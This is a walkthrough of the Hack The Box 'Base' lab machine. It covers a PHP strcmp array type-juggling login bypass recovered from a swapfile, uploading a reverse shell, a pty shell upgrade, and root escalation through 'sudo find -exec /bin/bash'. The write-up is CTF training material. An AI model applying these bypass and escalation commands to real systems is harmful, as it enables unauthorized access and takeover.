HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  • Web Enumeration
  • Decoding Swapfile to Auth Bypass
  • Shell Access and Pillaging
  • GTFOBin Abuse
  1. Boxes: Very Easy

Base

Personal Rating: Easy

Web Enumeration

There is a webserver on port 80 as an nmap scan shew. (sudo nmap <IP>)

After fuzzing, I found a swapfile and a login form. The swapfile contains the authentication PHP code, but I couldn't make much of it.

Decoding Swapfile to Auth Bypass

This command can remove the non-human readable parts of the file and beautify it:

strings swapfile | tac >> swp-beautified.txt

Since it was a swapfile and the non human readable part had to be removed, this is not correct code, but it's clear whats happening:

$_SESSION['user_id'] = 1;
if (strcmp($password, $_POST['password']) == 0) &&
if (strcmp($username, $_POST['username']) == 0)
{require('config.php');}
if (!empty($_POST['username']) && !empty($_POST['password']))
session_start();
else {print("<script>alert('Wrong Username or Password')</script>");}

strcmp is used to compare the input password to the required one.

strcmp will return NULL when you compare data of different types, like an array to a string. You can edit the web request to send username[]=test&password[]=authentication

This way, both return null and NULL == 0 will return TRUE

Shell Access and Pillaging

Logged in, I could upload a php reverse shell as the www-data user. The user "john" exists on the system. With the following command I could upgrade my shell to an interactive one:

python -c 'import pty; pty.spawn("/bin/bash")'

As the webuser I found a config file in the folder of the webserver that contained john's password. thisisagoodpassword I could have bruteforced that with hydra, but usually a bruteforce against ssh doesn't work.

GTFOBin Abuse

With sudo -l I found a GTFObin, which is /usr/bin/find. It can be exploited for command execution like this:

sudo /usr/bin/find . -exec /bin/bash \;

The old syntax has additional brackets in the command:

sudo /usr/bin/find . -exec /bin/bash {} \;

With that I could ssh to the box as root and grab the root flag.

PreviousArcticNextBike

Last updated 1 month ago